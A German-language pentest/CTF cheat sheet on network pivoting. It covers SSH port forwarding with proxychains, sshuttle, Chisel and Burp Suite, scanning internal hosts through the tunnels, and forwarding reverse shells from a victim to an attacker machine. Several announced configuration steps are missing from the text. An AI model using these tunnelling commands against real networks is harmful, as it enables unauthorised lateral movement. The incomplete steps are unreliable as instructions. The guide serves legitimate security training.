
Ein kompakter Leitfaden für Netzwerk-Pivoting bei Penetrationstests / CTF-Challenges.
Verwende keine ICMP-Echoanfragen (Ping), um SOCKS-Proxys zu testen.
SOCKS ist ein Internetprotokoll, das Netzwerkpakete zwischen einem Client und einem Server über einen Proxy-Server austauscht. In der Praxis leitet ein SOCKS-Server TCP-Verbindungen an eine beliebige IP-Adresse weiter und bietet eine Möglichkeit, UDP-Pakete weiterzuleiten.
Du solltest es mit einem TCP-basierten Protokoll testen (z. B. versuchen, per SSH eine Verbindung herzustellen oder eine HTTP-GET-Anfrage an einen Host durch den Pivot-Tunnel zu senden).
NMAP muss mit TCP-Connect-Scan (-sT) und ohne Ping (-Pn) verwendet werden
Dies gilt auch für Versions- (-sV) und Skript-Scans (-sC). Sie sollten in Kombination mit -sT und -Pn verwendet werden.
Beispiele:
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains nmap -sT -Pn -sV -sC -p 21,80,443,445 x.x.x.x
Tipp: Du kannst naabu auf den Zielrechner hochladen und wie ein Boss scannen.
Verwendung von Skripten und Binärdateien mit proxychains
Ein Tipp für die Verwendung von proxychains ist, sicherzustellen, dass du bei einem interpretierten Programm (wie einem Python-Skript) das Python-Binary explizit vor dem Skript referenzierst, selbst wenn das Skript mit einem Shebang beginnt, z. B.:
proxychains4 [-q -f proxychains.conf] python python_script.py
Ohne diesen expliziten Verweis auf den Skript-Interpreter kann es vorkommen, dass der vom Skript erzeugte Datenverkehr nicht wie beabsichtigt durch den Proxy geleitet wird und die Netzwerkverbindung fehlschlägt. Tipp-Quelle
Entkommentiere die Zeile „quite mode" in /etc/proxychains.conf, um stdout zu vermeiden, das manchmal frustrierend sein kann.
Dies ist nur ein Vorschlag.
Ermöglicht es dir, einen Socket auf dem lokalen Rechner (SSH-Client) zu erstellen, der als SOCKS-Proxy-Server fungiert. Wenn ein Client sich mit diesem Port verbindet, wird die Verbindung an den entfernten Rechner (SSH-Server) weitergeleitet, der sie dann an einen dynamischen Port auf dem Zielrechner weiterleitet.
So richtest du es ein:
Bearbeite /etc/proxychains.conf und nimm Folgendes vor:
Richte das SSH-Dynamische Port-Forwarding ein:
ssh -D 127.0.0.1:9050 user@victim-IP
Anwendungsbeispiele:
Wobei x.x.x.x die IP-Adresse eines Hosts im getunnelten Netzwerk ist:
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains smbmap -H x.x.x.x
proxychains ssh [email protected]
Um Firefox durch den Tunnel zu verwenden:
proxychains firefox
Wenn du suchst, wie du eine Reverse Shell durch einen Pivot-Tunnel bekommst, ist das hier das Richtige. Es ermöglicht dir, einen Port auf dem entfernten (Opfer-)Rechner an einen Port auf dem lokalen (Angreifer-)Rechner weiterzuleiten.
So richtest du es ein:
Verbinde dich per SSH mit dem Zielrechner.
Bearbeite /etc/ssh/sshd_config und nimm Folgendes vor:
*Das ist sehr wichtig und viele Anleitungen im Internet erwähnen es nicht. Wenn du das nicht tust, kannst du den Tunnel nur auf 127.0.0.1 statt 0.0.0.0 einrichten, was dazu führt, dass kein Datenverkehr weitergeleitet wird, wenn er von einem anderen Host als localhost stammt.
sudo service ssh restartRichte das SSH-Remote-Port-Forwarding ein:
Im Wesentlichen ist der Befehl nach der oben beschriebenen Einrichtung so einfach:
ssh -R 2222:*:2222 user@victim-IP
Um zu testen, ob es funktioniert, könntest du Folgendes tun:
Richte einen Listener (z. B. Netcat) auf deinem Angreifer-Rechner ein (auf dem Port, den du für das Remote-Forwarding konfiguriert hast, in diesem Beispiel 2222) und sende eine Anfrage vom Zielrechner an sich selbst (localhost). In diesem Beispiel wäre das nc 127.0.0.1 2222. Wenn dein Angreifer-Rechner die Verbindung empfängt, bedeutet das: a) Es funktioniert und b) jede Verbindung von Pivot-Hosts zur Ziel-IP:2222 wird an den Angreifer-Rechner weitergeleitet.
Du kannst mehrere Ports wie folgt setzen:
ssh -R 2222:*:2222 -R 3333:*:3333 user@victim-IP
Achtung: Anfragen von fremden Hosts (Pivot-Netzwerk) müssen an die Ziel-IP gerichtet sein, um zurück an den Angreifer-Rechner weitergeleitet zu werden.
*Du kannst Remote-Port-Forwarding auch umsetzen, indem du per SSH vom Zielrechner aus eine Verbindung zum Angreifer-Rechner herstellst.
Lokales Port-Forwarding ermöglicht es dir, einen Port auf dem lokalen (Angreifer-)Rechner an einen Port auf dem entfernten (Ziel-)Rechner weiterzuleiten. Besonders nützlich, um lokale Ports auf dem Zielrechner zu scannen.
Verwendung:
ssh user@victim-IP -L 8888:127.0.0.1:8086
Du kannst jetzt z. B. nmap verwenden, um Port 8086 auf dem Zielrechner so zu scannen:
nmap -Pn -n -p8888 -sV 127.0.0.1
Ein Beispiel, wie doppeltes Pivoting mit SSH-Dynamischem Port-Forwarding und Proxychains umgesetzt wird.
Konzept:
Angenommen, wir haben die folgenden 4 Rechner.
| IP | Rolle |
|---|---|
| 10.10.10.10 | Angreifer |
| 10.10.10.11 | Jumphost1 |
| 172.16.1.12 | Jumphost2 |
| 172.16.2.13 | Jumphost3 |
Der Angreifer kann Jumphost1 erreichen.
Jumphost1 kann Jumphost2 erreichen.
Jumphost2 kann Jumphost3 erreichen.
...
socks4 127.0.0.1 9050
socks4 127.0.0.1 9999
ssh -D 127.0.0.1:9999 user@Jumphost2
Du solltest jetzt in der Lage sein, Jumphost3 zu erreichen.
sshuttle ermöglicht es dir, per SSH eine VPN-Verbindung von deinem Rechner zu einem beliebigen Remote-Server herzustellen, sofern dieser Server Python 2.3 oder höher besitzt. Damit es funktioniert, benötigst du Root-Zugriff auf dem lokalen Rechner, auf dem Server reicht jedoch ein normales Konto. Es ist möglich, sshuttle mehrfach gleichzeitig auf einem einzelnen Client-Rechner auszuführen, wobei jedes Mal eine Verbindung zu einem anderen Server hergestellt wird, sodass du gleichzeitig in mehreren VPNs sein kannst. Siehe das sshuttle-GitHub-Repository.
Verwendung:
Angenommen, wir wollen in 172.16.2.0/16 pivoten:
sshuttle -vvr root@victim 172.16.2.0/16
Wenn du einen SSH-Key verwenden willst:
sshuttle -vvr root@victim --ssh-cmd 'ssh -i ~/.ssh/id_rsa' 172.16.2.0/16
Chisel ist ein schneller TCP/UDP-Tunnel, der über HTTP transportiert und per SSH abgesichert wird. Eine einzelne ausführbare Datei, die sowohl Client als auch Server enthält. Geschrieben in Go (Golang). Es ist wahnsinnig großartig und nützlich.
Installation:
Du kannst chisel einfach unter Kali installieren:
apt install chisel
Um es zu verwenden, musst du zusätzlich die Chisel-Binärdatei auf den Zielrechner hochladen. Vorkompilierte Versionen kannst du hier herunterladen.
Beispiel für lokales Port-Forwarding
Auf deinem Angreifer-Rechner:
chisel server -p 8000 --reverse
Auf dem Zielrechner:
./chisel_1.7.7_linux_amd64 client attacker-ip:8000 R:1234:127.0.0.1:8443
Dadurch wird Datenverkehr von Port 1234 des Angreifer-Rechners zu Port 8443 des Zielrechners weitergeleitet.
Burpsuite unterstützt das Einrichten von Proxys, eine unglaublich nützliche und leistungsstarke Funktion.
So richtest du es ein:
Starte Burpsuite und nimm Folgendes vor:
In Kombination mit einem SSH-Dynamischen Port-Forwarding oder sshuttle kannst du Burpsuite nun nutzen, um Datenverkehr über deinen lokalen Bind-Port an gewünschte Hosts weiterzuleiten. Ein nützliches Beispiel mit gobuster dir-Brute-Force durch den Tunnel (angenommen, du hast Port 2222 als Umleitungsport festgelegt):
gobuster dir -u http://127.0.0.1:2222 -t 40 -w /some/dirlist.txt